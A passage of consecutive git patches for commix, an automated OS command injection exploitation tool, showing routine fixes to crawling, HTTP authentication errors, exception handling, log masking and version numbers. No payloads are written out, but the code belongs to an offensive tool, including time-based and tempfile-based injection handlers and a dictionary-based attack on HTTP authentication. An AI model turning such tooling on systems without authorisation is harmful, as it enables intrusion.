DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "25"
+REVISION = "26"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
diff --git a/src/utils/update.py b/src/utils/update.py
index 65d9c3df67..f1cc9fa458 100755
--- a/src/utils/update.py
+++ b/src/utils/update.py
@@ -214,7 +214,7 @@ def check_unicorn_version(current_version):
for line in latest_version:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
- latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","")
+ latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","")
break
if len(current_version) == 0 or \
From efcdee0c872ff558642ee6f9d69fcaafc9867ea0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 3 Nov 2022 09:04:40 +0200
Subject: [PATCH 207/560] Minor update regarding crawing process
---
src/core/main.py | 2 +-
src/utils/crawler.py | 4 ++--
src/utils/settings.py | 2 +-
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index e9f8ea55f6..33af06c1fe 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -854,7 +854,7 @@ def main(filename, url):
settings.MULTI_TARGETS = True
print(settings.SINGLE_WHITESPACE)
with open(menu.options.bulkfile) as f:
- bulkfile = [url.strip() for url in f]
+ bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f]
# Check if option "--crawl" is enabled.
if settings.CRAWLING:
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 808ad39777..8974259a71 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -255,8 +255,6 @@ def no_usable_links(crawled_hrefs):
The crawing process.
"""
def do_process(url):
- if settings.SINGLE_WHITESPACE in url:
- url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
identified_hrefs = False
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
@@ -337,6 +335,8 @@ def crawler(url, url_num, crawling_list):
if url not in visited_hrefs:
link += 1
settings.CRAWLED_URLS_NUM = link
+ if settings.SINGLE_WHITESPACE in url:
+ url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
visited_hrefs.append(url)
do_process(url)
info_msg = str(link)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 27b8932025..7d58cdb377 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "26"
+REVISION = "27"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 0fc1b53932eded11ce74b1ba37e4441d82b4ade1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 4 Nov 2022 08:15:08 +0200
Subject: [PATCH 208/560] Minor update
---
src/core/injections/controller/checks.py | 9 +++-----
src/core/requests/requests.py | 26 +++++++++++++++---------
src/utils/settings.py | 2 +-
3 files changed, 20 insertions(+), 17 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 82db7ee90c..f002c01754 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -234,14 +234,11 @@ def load_cmd_history():
cli_history = os.path.expanduser(settings.CLI_HISTORY)
if os.path.exists(cli_history):
readline.read_history_file(cli_history)
- except (IOError, AttributeError) as e:
+ except (IOError, AttributeError, UnicodeError) as e:
warn_msg = "There was a problem loading the history file '" + cli_history + "'."
- print(settings.print_warning_msg(warn_msg))
- except UnicodeError:
if settings.IS_WINDOWS:
- warn_msg = "There was a problem loading the history file '" + cli_history + "'. "
- warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
- print(settings.print_warning_msg(warn_msg))
+ warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
+ print(settings.print_warning_msg(warn_msg))
"""
Check if the value has boundaries.
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index d174061f9f..883bd9b7df 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -73,9 +73,10 @@ def estimate_response_time(url, timesec):
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += " (" + str(err) + ")."
- print(settings.print_critical_msg(err_msg))
+ if str(err.getcode()) != settings.UNAUTHORIZED_ERROR:
+ print(settings.print_critical_msg(err_msg))
# Check for HTTP Error 401 (Unauthorized).
- if str(err.getcode()) == settings.UNAUTHORIZED_ERROR:
+ else:
try:
# Get the auth header value
auth_line = err.headers.get('www-authenticate', '')
@@ -359,17 +360,21 @@ def request_failed(err_msg):
if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
pass
else:
+ err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
+
+ err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
if menu.options.auth_type and menu.options.auth_cred:
- err_msg = "The provided pair of " + menu.options.auth_type
- err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
- err_msg += " seems to be invalid."
- err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
- err_msg += " in order to perform a dictionary-based attack."
+ if settings.MULTI_TARGETS:
+ err_msg += ". "
+ else:
+ err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. "
else:
- err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")."
- err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'."
+ err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. "
+ if settings.MULTI_TARGETS:
+ err_msg += "Skipping to the next target."
print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS:
+ raise SystemExit()
if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \
settings.FORBIDDEN_ERROR in str(err_msg).lower() or \
settings.NOT_FOUND_ERROR in str(err_msg).lower():
@@ -378,6 +383,7 @@ def request_failed(err_msg):
if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR:
reason = reason + ". Skipping to the next target."
print(settings.print_critical_msg(reason))
+ raise SystemExit()
if settings.EOF:
print(settings.SINGLE_WHITESPACE)
return False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7d58cdb377..bd20489408 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "27"
+REVISION = "28"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From b9dd37a082bfc93d9f3b208fb20b55df79d4d956 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 7 Nov 2022 09:07:36 +0200
Subject: [PATCH 209/560] Minor update
---
src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index dd5077ab1f..9c42254ef7 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -398,8 +398,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
- #possibly_vulnerable = False
else:
+ whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 19f21dfa1d..20150f3a53 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -430,8 +430,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
- #possibly_vulnerable = False
else:
+ whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
diff --git a/src/utils/settings.py b/src/utils/settings.py
index bd20489408..ab1184b987 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "28"
+REVISION = "29"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 64f215ab5c21438ea666a9f48bba39e069b73a0b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 9 Nov 2022 09:38:57 +0200
Subject: [PATCH 210/560] Minor update
---
src/core/main.py | 2 ++
src/utils/session_handler.py | 5 -----
src/utils/settings.py | 3 ++-
3 files changed, 4 insertions(+), 6 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 33af06c1fe..f143f61299 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -412,6 +412,8 @@ def main(filename, url):
if session_handler.applied_techniques(url, http_request_method):
if not menu.options.tech:
menu.options.tech = session_handler.applied_techniques(url, http_request_method)
+ else:
+ settings.USER_SUPPLIED_TECHNIQUE = True
else:
menu.options.tech = list(menu.options.tech)
_ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))}
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 27a06d64db..73d0998c5b 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -212,11 +212,6 @@ def injection_point_exportation(url, http_request_method):
result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \
table_name(url) + "_ip' AND type = 'table';")
if result:
- # if not settings.USER_SUPPLIED_TECHNIQUE:
- # for session in result:
- # check_injection_technique = menu.options.tech = session[0][:1]
- # select_injection_type = session[1][:1].capitalize()
- # else:
if menu.options.tech[:1] == "c":
select_injection_type = "R"
elif menu.options.tech[:1] == "e":
diff --git a/src/utils/settings.py b/src/utils/settings.py
index ab1184b987..57c9698f3c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "29"
+REVISION = "30"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -602,6 +602,7 @@ def sys_argv_errors():
# Available injection techniques.
AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ]
+USER_SUPPLIED_TECHNIQUE = False
SKIP_TECHNIQUES = False
# User Agent List
From f5414ebe7c80c03974dec991cddcff92efd716fa Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 10 Nov 2022 09:17:30 +0200
Subject: [PATCH 211/560] Fixes
https://github.com/commixproject/commix/issues/787
---
src/core/injections/controller/checks.py | 19 +++++++++++--------
src/utils/settings.py | 2 +-
2 files changed, 12 insertions(+), 9 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index f002c01754..17c7ded815 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1620,14 +1620,17 @@ def inappropriate_format(multi_parameters):
"""
def check_similarities(all_params):
if settings.IS_JSON:
- all_params = ','.join(all_params)
- json_data = json.loads(all_params, object_pairs_hook=OrderedDict)
- all_params = flatten(json_data)
- for param in all_params:
- if param == all_params[param]:
- parameter_name = param
- all_params[param] = param + settings.RANDOM_TAG
- all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")]
+ try:
+ all_params = ','.join(all_params)
+ json_data = json.loads(all_params, object_pairs_hook=OrderedDict)
+ all_params = flatten(json_data)
+ for param in all_params:
+ if param == all_params[param]:
+ parameter_name = param
+ all_params[param] = param + settings.RANDOM_TAG
+ all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")]
+ except Exception as e:
+ pass
else:
for param in range(0, len(all_params)):
if settings.IS_XML:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 57c9698f3c..a5a31f6746 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "30"
+REVISION = "31"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From a3f461c6e7c96dc084d23f65d62ad33315d9a024 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 11 Nov 2022 09:10:24 +0200
Subject: [PATCH 212/560] Minor update regarding masking sensitive data in the
supplied msgs
---
src/utils/common.py | 5 +++--
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 9d5268d3a8..6a02b07015 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -219,9 +219,10 @@ def create_github_issue(err_msg, exc_msg):
"""
def mask_sensitive_data(err_msg):
for item in settings.SENSITIVE_OPTIONS:
- match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^ ]+)", err_msg)
+ match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg)
if match:
- err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)))
+ err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE)
+
return err_msg
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a5a31f6746..d1ced04bcb 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "31"
+REVISION = "32"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 4077b24ea7a8717af94db20eaf557d0f57d79ab0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 14 Nov 2022 09:03:55 +0200
Subject: [PATCH 213/560] Minor update
---
src/core/injections/controller/checks.py | 2 +-
src/core/testing.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 17c7ded815..f9e3d0c114 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -307,7 +307,7 @@ def page_encoding(response, action):
data = gzip.GzipFile("", "rb", 9, io.BytesIO(page))
page = data.read()
settings.PAGE_COMPRESSION = True
- except Exception as ex:
+ except Exception as e:
if settings.PAGE_COMPRESSION is None:
warn_msg = "Turning off page compression."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/core/testing.py b/src/core/testing.py
index 30f2b608f7..f3835f73a6 100644
--- a/src/core/testing.py
+++ b/src/core/testing.py
@@ -41,7 +41,7 @@ def smoke_test():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Succeeded importing '" + str(path) + "' module."
print(settings.print_debug_msg(debug_msg))
- except Exception as ex:
+ except Exception as e:
error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'."
print(settings.print_error_msg(error_msg))
_ = False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d1ced04bcb..709842813e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "32"
+REVISION = "33"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 3742e5f2de7041ac9a17628dcedd71cdf313d141 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 15 Nov 2022 07:40:22 +0200
Subject: [PATCH 214/560] Minor update
---
src/core/injections/controller/checks.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index f9e3d0c114..92d6605cfc 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1493,7 +1493,7 @@ def is_empty(multi_parameters, http_request_method):
try:
if settings.IS_JSON:
try:
- param = re.sub("[^/()A-Za-z0-9.:,_]+", '', multi_params[empty])
+ param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty]))
if "(" and ")" in param:
param = re.findall(r'\((.*)\)', param)
for value in param[0].split(","):
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 709842813e..77e3e7b589 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "33"
+REVISION = "34"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c69ff95d371f5aa44086971da13593489ea8c33d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 16 Nov 2022 18:22:23 +0200
Subject: [PATCH 215/560] Minor fix regarding commit:
https://github.com/commixproject/commix/commit/4077b24ea7a8717af94db20eaf557d0f57d79ab0
---
src/core/testing.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/testing.py b/src/core/testing.py
index f3835f73a6..5677e338dc 100644
--- a/src/core/testing.py
+++ b/src/core/testing.py
@@ -42,7 +42,7 @@ def smoke_test():
debug_msg = "Succeeded importing '" + str(path) + "' module."
print(settings.print_debug_msg(debug_msg))
except Exception as e:
- error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'."
+ error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'."
print(settings.print_error_msg(error_msg))
_ = False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 77e3e7b589..15aafdc517 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
-REVISION = "34"
+REVISION = "35"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From badf44a72f759e98e825b1fe6918b5a3086545fb Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 17 Nov 2022 09:22:27 +0200
Subject: [PATCH 216/560] Update CHANGELOG.md
---
doc/CHANGELOG.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index a36c15ea89..d56d7ab81f 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.6 (TBA)
+* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Revised: Minor improvement regarding session handler.
* Revised: Minor improvement regarding `--wizard` option.
From 2aacb53add39c50ce010172fca9d67d42d43d2a0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 18 Nov 2022 09:06:20 +0200
Subject: [PATCH 217/560] Updated to v3.6
---
doc/CHANGELOG.md | 2 +-
setup.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index d56d7ab81f..66a65ccaa0 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,4 @@
-## Version 3.6 (TBA)
+## Version 3.6 (2022-11-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
* Revised: Minor improvement regarding session handler.
diff --git a/setup.py b/setup.py
index dc661019d8..9cd3a56ab3 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.6-dev',
+ version='3.6',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 15aafdc517..e25dfd8fd6 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -242,7 +242,7 @@ def sys_argv_errors():
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.6"
REVISION = "35"
-STABLE_RELEASE = False
+STABLE_RELEASE = True
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
From e64563981449b80a285ecf673d81a4f2b4f33838 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 4 Dec 2022 11:10:24 +0200
Subject: [PATCH 218/560] Fixes
https://github.com/commixproject/commix/issues/791
---
doc/CHANGELOG.md | 3 +++
setup.py | 2 +-
src/utils/logs.py | 5 +----
src/utils/settings.py | 6 +++---
4 files changed, 8 insertions(+), 8 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 66a65ccaa0..8cf4222db2 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,3 +1,6 @@
+## Version 3.7 (TBA)
+* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option).
+
## Version 3.6 (2022-11-18)
* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions.
* Revised: Improvements regarding dynamic code evaluation heuristic check.
diff --git a/setup.py b/setup.py
index 9cd3a56ab3..16a0a4cc33 100644
--- a/setup.py
+++ b/setup.py
@@ -17,7 +17,7 @@
setup(
name='commix',
- version='3.6',
+ version='3.7-dev',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
diff --git a/src/utils/logs.py b/src/utils/logs.py
index b537431e64..aa36215582 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -219,10 +219,7 @@ def logs_notification(filename):
"""
def log_traffic(header):
output_file = open(menu.options.traffic_file, "a")
- if not menu.options.no_logging:
- if type(header) is bytes:
- header = header.decode(settings.DEFAULT_CODEC)
- output_file.write(header)
+ output_file.write(header)
output_file.close()
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e25dfd8fd6..ea35448eca 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -240,9 +240,9 @@ def sys_argv_errors():
DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool"
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
-VERSION_NUM = "3.6"
-REVISION = "35"
-STABLE_RELEASE = True
+VERSION_NUM = "3.7"
+REVISION = "1"
+STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
VERSION = VERSION + VERSION_NUM + "-stable"
From 4592ea70b85d88041148f5917fc540390fe706f7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 5 Dec 2022 09:01:56 +0200
Subject: [PATCH 219/560] Minor bug fix regarding creating Github issues with
unhandled exception information
---
src/utils/common.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 6a02b07015..3ed15408c5 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -160,7 +160,7 @@ def create_github_issue(err_msg, exc_msg):
message = "Do you want to automatically create a new (anonymized) issue "
message += "with the unhandled exception information at "
message += "the official Github repository? [y/N] "
- choise = common.read_input(message, default="N", check_batch=True)
+ choise = read_input(message, default="N", check_batch=True)
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index ea35448eca..d0128a4404 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "1"
+REVISION = "2"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From c7326f09c0e24747132ccb0e49674c4b8dc69d5a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 6 Dec 2022 07:20:11 +0200
Subject: [PATCH 220/560] Minor update regarding commit
https://github.com/commixproject/commix/commit/4592ea70b85d88041148f5917fc540390fe706f7
---
src/utils/common.py | 4 +++-
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/src/utils/common.py b/src/utils/common.py
index 3ed15408c5..8eecc64479 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -153,7 +153,9 @@ def create_github_issue(err_msg, exc_msg):
_ = re.sub(r"= _", "= ", _)
_ = _.encode(settings.DEFAULT_CODEC)
- bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\""
+ key = hashlib.md5(_).hexdigest()[:8]
+
+ bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")"
while True:
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d0128a4404..5428aef726 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "2"
+REVISION = "3"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 6c748f534fb52569f198c64aeca91eb104a84bb8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 7 Dec 2022 07:15:26 +0200
Subject: [PATCH 221/560] Fixes
https://github.com/commixproject/commix/issues/794
---
src/core/main.py | 11 ++++++-----
src/utils/purge.py | 5 ++---
src/utils/settings.py | 2 +-
3 files changed, 9 insertions(+), 9 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index f143f61299..d1aba20fb6 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -632,14 +632,15 @@ def main(filename, url):
# Check if defined "--purge" option.
if menu.options.purge:
purge.purge()
-
+
# Check for missing mandatory option(s).
if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \
menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \
- menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)):
- err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). "
- err_msg += "Use -h for help."
- print(settings.print_critical_msg(err_msg))
+ menu.options.update, menu.options.list_tampers, menu.options.noncore_dependencies)):
+ if not menu.options.purge:
+ err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). "
+ err_msg += "Use -h for help."
+ print(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.codec:
diff --git a/src/utils/purge.py b/src/utils/purge.py
index 41d34bfe4c..3d32bd877a 100644
--- a/src/utils/purge.py
+++ b/src/utils/purge.py
@@ -37,9 +37,8 @@
def purge():
directory = settings.OUTPUT_DIR
if not os.path.isdir(directory):
- if settings.VERBOSITY_LEVEL != 0:
- debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist."
- print(settings.print_debug_msg(debug_msg))
+ warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist."
+ print(settings.print_warning_msg(warn_msg))
return
info_msg = "Purging content of directory '" + directory + "'"
if not settings.VERBOSITY_LEVEL != 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5428aef726..de3f1a9c03 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "3"
+REVISION = "4"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 044f29e6e29869ac2541899ec3207a157cf6f403 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 8 Dec 2022 09:04:28 +0200
Subject: [PATCH 222/560] Minor update
---
src/utils/logs.py | 3 ++-
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/utils/logs.py b/src/utils/logs.py
index aa36215582..c5a3ca13d7 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
